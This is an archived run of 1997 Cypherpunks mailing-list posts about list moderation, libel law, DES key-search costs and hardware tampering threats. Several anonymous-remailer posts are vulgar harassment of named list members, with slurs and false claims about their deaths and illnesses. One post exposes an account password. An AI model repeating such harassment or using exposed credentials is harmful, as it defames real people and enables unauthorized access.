statement of your position. I see what follows, however, as a train of
'logic' which follows a pre-defined, emotionally-charged justification
of a defensive position you have taken, as a result of a real or 
imagined 'slight'.

  I have followed your 'libel' thread, as rambling (and sometimes 
dichotomously incoherent) as it is, and I recognize that you are
passionate in your beliefs (for which I salute you), but I think
that perhaps your interests might be better served if you let
logic lead your emotions.
  If you did so, I might well hire you as my lawyer (to defend me
in your libel suit against me), since you do have a 'bulldog' 
sense of determination in pursing any position you take.
  The million-and-one posts you made with the results of your
search-engine research on libel only served to accentuate your
inability to fully understand the issues underlying libel and
defamation. Your own opinions regarding your thoughts and 
opinions regarding these same issues were much more poignant
and enlightening.
  I would hope that, in the future, you would justify your 
beliefs and opinions with a revelation of your own points of
logic (or illogic) rather than attempting to support them 
with legalese rulings which often stand on a foundation of
sand, especially under close judicial scrutiny.
  You do, indeed, raise some points that are worthy of valid
consideration, and debate, but they tend to get lost in your
excessive arguments regarding them.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 21:43:40 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Fighting the cybercensor
In-Reply-To: <199702020435.UAA27638@mail.pacifier.com>
Message-ID: <32F4447D.2F6C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 08:02 PM 2/1/97 -0800, Toto wrote:
> >  I also think that the other list members involved in this thread are
> >'nobodies', but I was too polite to say anything.
> 
> It's odd that you would say this.  I get that impression ("nobodies") about
> practically EVERY subject discussed here.  Why name this particular one, as
> if it were somehow special?

Jim,
 "You're 'nobody', till 'somebody' loves you..."
 Everybody has their own prediliction as to what interests them, 
and what is 'frivilous' on the list.
 Someone, in private email, mentioned that they felt that 60% of the
posts were 'uninteresting'. I replied that this seemed to be a close
approximation of many list members' beliefs, but that, if we all
moderated/censored out 'our' 60% of 'uninteresting' posts before 
the list was sent out, that there would be precious little left.

  I don't know if you recognized my comment as humor, since I have
an aversion to using 'happy faces' (the result of a childhood trauma),
but I just love to poke fun at the plethora of personas on the list
who seem to believe that anything outside of their immediate scope
of interest is somehow 'unworthy' of being posted the list.

 By the way, in order to prevent this post from going to the 'flames'
list, I will NOT say that you are a low-life, scum-sucking Nazi piece
of shit. I will likewise refrain from suggesting that your mother
wears army boots, you are a child-pornographer, an imbecile, and
a pervert, or that you beat your wife and children regularly.
 By golly, I think I'm 'getting the hang of' this new, improved,
Politically Correct, nicey-nice list format.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 1 Feb 1997 20:59:53 -0800 (PST)
To: azur@netcom.com (Steve Schear)
Subject: Re: "Strong" crypto and export rule changes.
In-Reply-To: <v02140b05af19b18d73ac@[10.0.2.15]>
Message-ID: <199702020455.XAA02857@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:
| >        What the US government will allow to be exported is not "strong
| >encryption."  It is encryption only slightly too strong to be broken
| >by an amateur effort.  For the right investment in custom hardware, it
| >falls quickly.  (500,000 $US = 3.5 hour avg break).
| >
| 
| Considering Ian's feat you certainly seem to have had your crystal
| ball in hand.  

	I wear three around my neck.  Its a new age thing.

	More seriously, that estimate is the cost of breaking DES on
custom hardware, based on Wiener's figures.  Ian got RC4-40 in 3.5
hours on I don't know how much hardware, not a lot of it custom,
AFAIK.

Adam

-- 
Pet peeve of the day: Security companies whose protocols dare not
speak their name, because they don't have one. Guilty company of the
day is now V-One.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 1 Feb 1997 22:02:56 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Key Security Question
In-Reply-To: <9gDH2D8w165w@bwalk.dm.com>
Message-ID: <199702020557.XAA17186@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> Bill Stewart <stewarts@ix.netcom.com> writes:
> > On the other hand, if the "repairman" replaced your pgp executable
> > with version 2.6.3kgb, which uses your hashed passphrase as the
> > session key, you're hosed.  Or if he installed a keystroke sniffer,
> > or added a small radio transmitter to your keyboard, or whatever.
> > Depends on your threat model.  If you need to be paranoid,
> > they've already gotten you....
> 
> If you're really paranoid, you can boot from a clean floppy and
> reinstall everything from your backup tapes. You do have a
> contingency plan in case your hard disk goes bad, or gets a
> virus, don't you? Well, if you're in doubt, exercise it.

And what if the repairman replaces BIOS ROM chips with KGBios?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 2 Feb 1997 00:02:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Mondex
Message-ID: <199702020802.AAA10932@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Deceptive Vilest K[rud]OfTheMoment will fuck anything that
moves, but he'd rather be fucking his own mother's dead body.

        /\_./o__ Dr.Deceptive Vilest K[rud]OfTheMoment
       (/^/(_^^'
      ._.(_.)_






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 1 Feb 1997 21:10:17 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <199702020325.TAA06428@toad.com>
Message-ID: <Pine.GSO.3.95.970202000753.8579C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


That question is one for Tim to answer, but I should point out that
philosophical anarchists are not necessarily opposed to rules, just
government rules -- which this moderation policy clearly is not.

-Declan


On Sat, 1 Feb 1997, Dale Thorn wrote:

> Toto wrote:
> > 3.5.1 Contrary to what people sometimes claim, there is no ruling
> >        clique of Cypherpunks. Anybody is free to do nearly anything,
> >        just not free to commit others to course of action, or claim
> >        to speak for the "Cypherpunks" as a group (and this last
> >        point is unenforceable except through reputation and social
> >        repercussions).
> > 3.6.3 "Why isn't the list moderated?"
> >       ...hardly consistent with many of our anarchist leanings, is it?
> >       - "No, please, let's not become a 'moderated' newsgroup. This
> >       would be the end of freedom!
> 
> Is this why T.C. May hasn't posted in quite a while?
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 1 Feb 1997 23:36:39 -0800 (PST)
To: ravage@einstein.ssz.com (Jim Choate)
Subject: Re: Free & Open Society & toleration
In-Reply-To: <199702020230.SAA04826@toad.com>
Message-ID: <199702020840.AAA10277@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
> It has been asserted that I am claiming that a free and open society should
[...]
> 
> This is not my case at all. I hold that [...]
> means do I hold [...]
> I hold [...]
> worthless. I DO hold [...]
> all speech. I further hold [...]
> I further hold [...]
> I further hold [...]

Whew!  That's a lot of holding, my friend.  I've heard that prunes 
help. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sat, 1 Feb 1997 21:58:12 -0800 (PST)
To: rex <rshea@netcom.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <qxk8yMNwPVYM092yn@netcom.com>
Message-ID: <Pine.SUN.3.95.970202003925.25798A-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 31 Jan 1997, rex wrote:

> Black Unicorn <unicorn@schloss.li> wrote:
> 
> >If you want to look at it a different way, if you are involved with a drug
> >offense and are not using a weapon, you'll get a lower sentence than a
> >full fledged drug crime.  It's a step in the right direction - i.e. away
> >from manadatory sentencing of a flat time period for a crime regardless of
> >circumstances.
> 
> But Putra got the same sentence she would have gotten had she been
> convicted on both charges. The fact that she was acquitted meant nothing.

That this is true once, does not make it so in all cases.

You also lose sight of the general scheme of things.  That the sentence
imposed may have the same maximum sentence with sentencing enhancements
and a lesser included offense as with conviction of a "great offense"
means nothing with regard to the validity of sentencing enhancements.

That theft and low level bank fraud have the same penality when theft is
enhanced with a "victim was infirm or helpless" or a "firearm was used in
furtherance of the crime" could as easily reflect a lack of vigor and
spite in the prosecution of bank fraud as it could reflect severe vigor  
and spite in the prosecution of theft.

Please note that the difference between:

"But he got the same sentence as he would have if he was convicted of 
carrying a gun in furtherance of the crime."

and

"But he got the same sentence as he would have is he was not convicted of
carrying a gun in furtherance of the crime."

is subtle at best.

Next time don't get caught stealing with a gun nearby.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 23:17:35 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <01BC108F.F7C3BFE0@king1-20.cnw.com>
Message-ID: <32F45C3F.2FB1@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Toto
>   What currently threatens the list, in my opinion, is not the dissension,
> but the rise of a cliquish sheep-mentality and the resulting dismissal
> of the opinions of people of Reason (and the opinions of 'anyone', in
> general, whom 'I' perceive as being on the 'other side' of an issue).
> ........................................................................
 
> Who are these sheep you're talking about?   At the end of the trial period,
> anyone still on the list who doesn't like the moderation can at their
> leisure either protest vehemently its continuation, producing masterly
> works of eloquence in favor of continuing the free-for-all, or they can
> unsubscribe (sp?).

  I am not speaking of the sheep-mentality in regard to moderation or
any other single issue on the list. I am speaking of the tendency of
many list-members to fall into common ruts of thought wherein the
comments and opinions of others are auto-files as this-or-that,
and interpreted in that light, no matter what the actual content
of their messages.
 I told Attila the Hun, in private email, that when I opened his
messages, that I never knew whether to "pucker-up or duck", because
he was just as likely to chastise me as agree with me, depending
on his personal opinion of an individual post of mine.
 I regard Igor and yourself, and a number of others, in the same 
light. I'm reluctant to bend over and drop my pants, waiting for
you to kiss my butt, because I realize that I am just as likely 
to feel the sting of your toe-nailed boots instead of soft lips.

> I think what threatens the list is the absence of really major issues to
> fire up everyone's sense of indignation & imagination, 

  But, under the New List Order, any strong opinion risks being
thrown in the crapper as a 'flame'.

>plus the fact that
> many of the long-timers are pretty sophisticated on all the political
> issues which have been discussed before (how many of Tim May's long
> treatises, engaging, thorough, and relevant as they may be, can one read
> yet again without recognizing the repetitive themes therein),

 Yes, but there are always members to whom these treatises and
orientation
of thought are 'new', and people only notice the repetiveness when they
are, indeed, following these posts, which means that they must be 
getting some value out of them.

> plus a lack
> of interest in engaging in rhetorical arguments with people who find it
> difficult to think in a straight line.

 I, too, agree that you can lead a horse to water, but a stitch in time
saves nine.

>  Sometimes the posts on the list
> come to resemble more attempts at educating the clueless than discussions
> among peers which could truly advance an understanding of between fine
> points of difference.

  Some of the more rambling threads are indeed the result of not
understanding that some of the clueless aren't seeking a clue, but
merely to hold on to their ignorance. But I would rather err on 
the side of believing that the person I am replying to is sincere
in wanting to discuss an issue in order to gain a broader 
understanding of it.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sat, 1 Feb 1997 22:38:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702020620.BAA23384@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May was born when his mother was on the toilet.

      O      |'|
     /\      | | Timmy May
    /\ \-------|
   / / |-------|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sat, 1 Feb 1997 22:47:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Biham on DES keysearch
Message-ID: <199702020647.WAA24187@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



The arrival of warm weather is heralded by the pig shit getting
soft in Dr.Desperado L[ingerie] Vinegar K[unt]OTM's mini-cranium
and the resulting green slime seeping through his cocaine- and
syphilis- damaged nose and onto his keyboard.

   (___)
   (o o)_____/
    @@ `     \ Dr.Desperado L[ingerie] Vinegar K[unt]OTM
     \ ____, /
     //    //
    ^^    ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 01:49:50 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Cyphernomicon by Tim May
Message-ID: <01BC10AB.F9523E60@king1-10.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  I am not speaking of the sheep-mentality in regard to moderation or
any other single issue on the list. I am speaking of the tendency of
many list-members to fall into common ruts of thought wherein the
comments and opinions of others are auto-files as this-or-that,
and interpreted in that light, no matter what the actual content
of their messages.
................................................

Hm, well, what's an anarchist to do about other people's psychological 
makeup?

=

 I regard Igor and yourself, and a number of others, in the same
light. I'm reluctant to bend over and drop my pants, waiting for
you to kiss my butt, because I realize that I am just as likely
to feel the sting of your toe-nailed boots instead of soft lips.
..........................................

Hm, well, I'm not in the custom of doing either of those things, but thanks 
for the compliment!

=

  But, under the New List Order, any strong opinion risks being
thrown in the crapper as a 'flame'.
...............................................

Not that I'm condoning centralized management, but I bet I could flame 
anyone pretty good yet by-pass the moderator.  It's all in the style, you 
know.   Some people are very delicate about what offends them - I know I 
could get on some particular people's nerves any day without trying.   An 
opportunist can take advantage of another's infirmity by being perfectly 
polite while yet excruciatingly annoying.
=

 Yes, but there are always members to whom these treatises and orientation 
of thought are 'new', and people only notice the repetiveness when they 
are, indeed, following these posts, which means that they must be getting 
some value out of them.
............................................

Oh, I wasn't condemning Tim's posts as being repetitive and boring - it's 
commendable that he would write about the same ideas in fresh new ways, for 
the benefit of the newbies and the entertainment of the oldies.

But not everyone is as interested & willing (or have the time) to 
re-iterate this way, and  with only one or a few "holding up the ship", so 
to speak, it leaves a lot of room for wayless bickering degenerating into 
unproductive ad hominems - ad absurdum, ad nauseam.

You, know, Toto, I heard that there's a vacancy in the Cypherpunk Division 
of History & Philosophy ....

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:07:18 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Flaming Moderators
In-Reply-To: <199702020751.AAA25240@infowest.com>
Message-ID: <32F46CFD.1122@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
 
>         "Let us remember that 'if we suffer tamely a lawless attack
>         upon our liberty, we encourage it, and involve others in our
>         doom.'
>             --Samuel Adams ("patriot, statesman..."), speech, 1771

  Looks like Sam needs to be autobotted to the 'flames' list.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: coryt@rain.org
Date: Sun, 2 Feb 1997 00:51:47 -0800 (PST)
Subject: New Member Registration
Message-ID: <199702020851.CAA14408@fs1.sccsi.com>
MIME-Version: 1.0
Content-Type: text/plain


Requested Account Name: ashley
Requested Password: eyez
THIS MEMBER HAS BEEN ADDED TO THE UPDATE LIST





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 1 Feb 1997 23:52:00 -0800 (PST)
To: cypherpunks <gbroiles@netbox.com>
Subject: Re: Libel, Times v. Sullivan
In-Reply-To: <3.0.32.19970201144910.0068e100@ricochet.net>
Message-ID: <199702020751.AAA25240@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970201:1452, Greg Broiles <gbroiles@netbox.com> said:

+Since we've now got Jim Bell arguing that it's obvious that a free and
+open society must tolerate anything which might be defamatory, and Jim
+Choate arguing that it's obvious that a free and open society cannot
+tolerate anything which might be defamatory,  ...

    for what it is worth, anti-defamation, Germany's anti-Holocaust 
    denial, and anti- just about anything legislation dealing with free 
    speech is of and by its very nature an abridgement of your personal 
    freedoms. If you deny one form of speech, it is easy to deny 
    another, and then another...  do you wish to march foolishly to 
    Fahrenheit 451?

    Before the current generation of government vipers and revisionists 
    remove or rewrite even more of the immortal words of history:

        "Those who deny freedom to others 
          deserve it not for themselves."
                --Abraham Lincoln

    let's look at one more famous speech on "nibbling" your rights: 

        "Let us contemplate our forefathers, and posterity, and resolve 
        to maintain the rights bequeathed to us from the former, for 
        the sake of the latter.  
  
        "Let us remember that 'if we suffer tamely a lawless attack 
        upon our liberty, we encourage it, and involve others in our 
        doom.'  It is a very serious consideration that millions yet 
        unborn may be the miserable sharers of the event."
            --Samuel Adams ("patriot, statesman..."), speech, 1771

    and:

        "The more difficult it is to interact with the government, 
        the more the government wants gun control."
            --attila

    in other words, the more they deny our inaliable right to free 
    speech, the more they need gun control before we rise against the
    usurpers of our rights.

    Now, if there ever was a liberal do-gooder, Eleanor certainly was:

        "No one can make you feel inferior without your consent." 
            --Eleanor Roosevelt

    now, does she mean what she says literally?  in other words, is
    she saying to say what you want, and she will not be harmed or 
    "feel inferior" in this case?  I can presume Eleanor could be
    offended, but is that sufficient to abridge your rights?

    Nietzsche expresses a defiant tone on first glance -no, the general 
    interpretation is absolute freedom --speech included.

        "I understand by 'freedom of Spirit' something quite definite -
            the unconditional will to say No, 
            where it is dangerous to say No."
                --Friedrich Nietzsche

    Is not the right to bear arms the same basic freedom as free 
    speech, with one limitation: improper use carries criminal 
    penalties --basically, because the act denies another his freedom.

        "The right of self-defense is the first law of nature 
        ...and when the right of the people to keep and bear arms 
        is, under any color or pretext whatsoever, prohibited, 
        liberty, if not already annihilated, 
        is on the brink of destruction."
            --St. George Tucker, 
                in his edition of Blackstone's Commentaries

    did not the Magna Carta guarantee the right of free speech?  Of 
    course, there was not full suffrage at that time, but the Magna
    Carta is the basis of our common law.

    Then, let's look at another concept of freedom and a "democracy" 

        Just because a mob calls itself a government, doesn't make it     
          so.
        Democracy is two wolves and a sheep voting on what to have for 
          dinner.
        People who claim that money doesn't matter, are usually living 
          on someone else's money.
        Society is a mental construct, formed by those people who are 
          too insecure to handle the concept of people as individuals.

    which gets down to just what the hell did my forefathers, and maybe 
    yours, fight for in 1776 if it was not for freedom of speech and 
    assembly, the right to bear arms, to be free from unreasonable 
    search and seizure; and enjoy the protection of law? 

    if we do not pick up that fight and stop corrupt governments from 
    usurping the power of the people, we will lose all freedom. If we 
    give in on _any_ of the first 10 amendments, our Bill of Rights, we 
    are surrendering our deserved personal franchise to a usurping 
    government.  and it starts with society and government trying to 
    tell us what we can freely say. 

    I may not like what you have to say, or that you insult my 
    sensibilities or my rectitude, but I will defend your right to my 
    death so that you may do so.

    Therefore:
     
        "With heart and hand I pledge you while I load my gun again, 
        you will never be forgotten or the enemy forgiven, 
        my good comrade..."
            --Anton Szandor LaVay

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMvRHa704kQrCC2kFAQE9dgP8D+q2ZFytBzdgWDh+QdtunUa8nqhopHrS
OVc5yWkG+UJzcVhtRFyu5O4nhSkgzhjbiGxYUWM1ZNZwaIDehFmieCv8GG/c+Cal
0BHWha5cHqL0pEiFs/NTWAVoVGfPZl2jcikViXMRAqt8mmXmbC3bxPjBtlfnTzmB
yTZ51fvB3tU=
=aTWw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 1 Feb 1997 23:52:28 -0800 (PST)
To: cypherpunks <gbroiles@netbox.com>
Subject: Re: Libel, Times v. Sullivan
In-Reply-To: <3.0.32.19970201144910.0068e100@ricochet.net>
Message-ID: <199702020752.AAA25251@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970201:1452, Greg Broiles <gbroiles@netbox.com> said:

+Since we've now got Jim Bell arguing that it's obvious that a free and
+open society must tolerate anything which might be defamatory, and Jim
+Choate arguing that it's obvious that a free and open society cannot
+tolerate anything which might be defamatory,  ...

    for what it is worth, anti-defamation, Germany's anti-Holocaust 
    denial, and anti- just about anything legislation dealing with free 
    speech is of and by its very nature an abridgement of your personal 
    freedoms. If you deny one form of speech, it is easy to deny 
    another, and then another...  do you wish to march foolishly to 
    Fahrenheit 451?

    Before the current generation of government vipers and revisionists 
    remove or rewrite even more of the immortal words of history:

        "Those who deny freedom to others 
          deserve it not for themselves."
                --Abraham Lincoln

    let's look at one more famous speech on "nibbling" your rights: 

        "Let us contemplate our forefathers, and posterity, and resolve 
        to maintain the rights bequeathed to us from the former, for 
        the sake of the latter.  
  
        "Let us remember that 'if we suffer tamely a lawless attack 
        upon our liberty, we encourage it, and involve others in our 
        doom.'  It is a very serious consideration that millions yet 
        unborn may be the miserable sharers of the event."
            --Samuel Adams ("patriot, statesman..."), speech, 1771

    and:

        "The more difficult it is to interact with the government, 
        the more the government wants gun control."
            --attila

    in other words, the more they deny our inaliable right to free 
    speech, the more they need gun control before we rise against the
    usurpers of our rights.

    Now, if there ever was a liberal do-gooder, Eleanor certainly was:

        "No one can make you feel inferior without your consent." 
            --Eleanor Roosevelt

    now, does she mean what she says literally?  in other words, is
    she saying to say what you want, and she will not be harmed or 
    "feel inferior" in this case?  I can presume Eleanor could be
    offended, but is that sufficient to abridge your rights?

    Nietzsche expresses a defiant tone on first glance -no, the general 
    interpretation is absolute freedom --speech included.

        "I understand by 'freedom of Spirit' something quite definite -
            the unconditional will to say No, 
            where it is dangerous to say No."
                --Friedrich Nietzsche

    Is not the right to bear arms the same basic freedom as free 
    speech, with one limitation: improper use carries criminal 
    penalties --basically, because the act denies another his freedom.

        "The right of self-defense is the first law of nature 
        ...and when the right of the people to keep and bear arms 
        is, under any color or pretext whatsoever, prohibited, 
        liberty, if not already annihilated, 
        is on the brink of destruction."
            --St. George Tucker, 
                in his edition of Blackstone's Commentaries

    did not the Magna Carta guarantee the right of free speech?  Of 
    course, there was not full suffrage at that time, but the Magna
    Carta is the basis of our common law.

    Then, let's look at another concept of freedom and a "democracy" 

        Just because a mob calls itself a government, doesn't make it     
          so.
        Democracy is two wolves and a sheep voting on what to have for 
          dinner.
        People who claim that money doesn't matter, are usually living 
          on someone else's money.
        Society is a mental construct, formed by those people who are 
          too insecure to handle the concept of people as individuals.

    which gets down to just what the hell did my forefathers, and maybe 
    yours, fight for in 1776 if it was not for freedom of speech and 
    assembly, the right to bear arms, to be free from unreasonable 
    search and seizure; and enjoy the protection of law? 

    if we do not pick up that fight and stop corrupt governments from 
    usurping the power of the people, we will lose all freedom. If we 
    give in on _any_ of the first 10 amendments, our Bill of Rights, we 
    are surrendering our deserved personal franchise to a usurping 
    government.  and it starts with society and government trying to 
    tell us what we can freely say. 

    I may not like what you have to say, or that you insult my 
    sensibilities or my rectitude, but I will defend your right to my 
    death so that you may do so.

    Therefore:
     
        "With heart and hand I pledge you while I load my gun again, 
        you will never be forgotten or the enemy forgiven, 
        my good comrade..."
            --Anton Szandor LaVay

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMvRHa704kQrCC2kFAQE9dgP8D+q2ZFytBzdgWDh+QdtunUa8nqhopHrS
OVc5yWkG+UJzcVhtRFyu5O4nhSkgzhjbiGxYUWM1ZNZwaIDehFmieCv8GG/c+Cal
0BHWha5cHqL0pEiFs/NTWAVoVGfPZl2jcikViXMRAqt8mmXmbC3bxPjBtlfnTzmB
yTZ51fvB3tU=
=aTWw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:46:03 -0800 (PST)
To: coryt@rain.org
Subject: Re: New Member Registration
In-Reply-To: <199702020851.CAA14408@fs1.sccsi.com>
Message-ID: <32F47E22.2C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


coryt@rain.org wrote:
> 
> Requested Account Name: ashley
> Requested Password: eyez
> THIS MEMBER HAS BEEN ADDED TO THE UPDATE LIST

 Yup, the password worked for me, OK.
 Did it work for everyone else?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:45:56 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [GSM] Hardening mailing lists against spam attacks
In-Reply-To: <199701310157.RAA01193@toad.com>
Message-ID: <32F47F09.118D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> 
>            __o
>          _ \<_  
>         (_)/(_)

  This guy keeps forgetting to add 'crypto-relevant' to
his headings. No wonder they go to 'flames'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:47:05 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [GSM] Hardening mailing lists against spam attacks
In-Reply-To: <199701310033.QAA27430@mailmasher.com>
Message-ID: <32F47F71.3A8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> 
> Dr.Derisve Vitriol K[reep]OfTheMoment died of AIDS last night
> with his faggot lover.
> 
>            __o
>          _ \<_  Dr.Derisve Vitriol K[reep]OfTheMoment
>         (_)/(_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Sun, 2 Feb 1997 01:55:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP 2.1
Message-ID: <32F480AB.2341@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hello,
Can any;one tell me how to get a version of PGP 2.1?
Thanks




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 02:34:15 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <01BC10AB.F9523E60@king1-10.cnw.com>
Message-ID: <32F48A52.66D1@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Toto
> Hm, well, what's an anarchist to do about other people's psychological
> makeup?

  Hold up a mirror. 

> Not that I'm condoning centralized management, but I bet I could flame
> anyone pretty good yet by-pass the moderator.  It's all in the style, you
> know.   Some people are very delicate about what offends them - I know I
> could get on some particular people's nerves any day without trying.   An
> opportunist can take advantage of another's infirmity by being perfectly
> polite while yet excruciatingly annoying.

  What constitutes a 'flame' seems to depend heavily on whose mouth it
comes out of. Jim Choate called me a schizophrenic, and it seemed to
be acceptable enough to make the censored list. He tends to call 
people "Bessie", basically saying they are a Cow, and that also
seems acceptable.
  Personally, I could care less when people want to play footsie-games
with flaming, but I think it points out the ludicrousness of having
a moderator limiting people to 'childish' insults.
  I prefer someone screaming at me what a cocksucker I am.

 Ray Hettinga forwards these long, literate missives advertising
this-or-that million dollar a plate conferences, but when he chose
to insult me with his own words, the result was an immature 
blathering which showed questionable literary skills.

> Oh, I wasn't condemning Tim's posts as being repetitive and boring - it's
> commendable that he would write about the same ideas in fresh new ways, for
> the benefit of the newbies and the entertainment of the oldies.
 
> But not everyone is as interested & willing (or have the time) to
> re-iterate this way, and  with only one or a few "holding up the ship", so
> to speak, it leaves a lot of room for wayless bickering degenerating into
> unproductive ad hominems - ad absurdum, ad nauseam.

  There are some good socio/politico posts by a variety of list members
who are highly knowlegeable about a range of topics surrounding crypto,
but they tend to come sporadically.
  I suppose that this is because they actually have real lives.

> You, know, Toto, I heard that there's a vacancy in the Cypherpunk Division
> of History & Philosophy ....

  I suppose that Sandy might nominate me, just for the pleasure of 
sitting back and enjoying the flood of, "A Vote of FUCK OFF for Toto"
postings.
  It would be nice, however, to try to twist the rest of the list
around to my own world-view. It gets lonely here in the 'rubber room'
at the Home, and I could use some company.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 04:54:17 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <01BC10C5.A58834A0@king1-10.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Attila T. Hun, member of the Early Bird Consortium of Stray Cats, 
quoting from the Pages of History:

    did not the Magna Carta guarantee the right of free speech?  Of
    course, there was not full suffrage at that time, but the Magna
    Carta is the basis of our common law.
		[and...]
    which gets down to just what the hell did my forefathers, and maybe
    yours, fight for in 1776 if it was not for freedom of speech and
    assembly, the right to bear arms, to be free from unreasonable
    search and seizure; and enjoy the protection of law?
................................................

Yes, if the Magna Carta guaranteed a right and the forefathers fought to 
secure it, why should any of us ever have to lift a finger in our own 
defense.

My contribution to this thread from the Cpunk History & Philosophy 
Division:   a Jewish saying from a book I glanced through of couple of 
weeks ago, something like:

	"What good is it to a man who has lost his sight
	  that his ancestors had perfect vision."

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Rob)
Date: Sat, 1 Feb 1997 22:02:25 -0800 (PST)
To: zachb@netcom.com ("Z.B.")
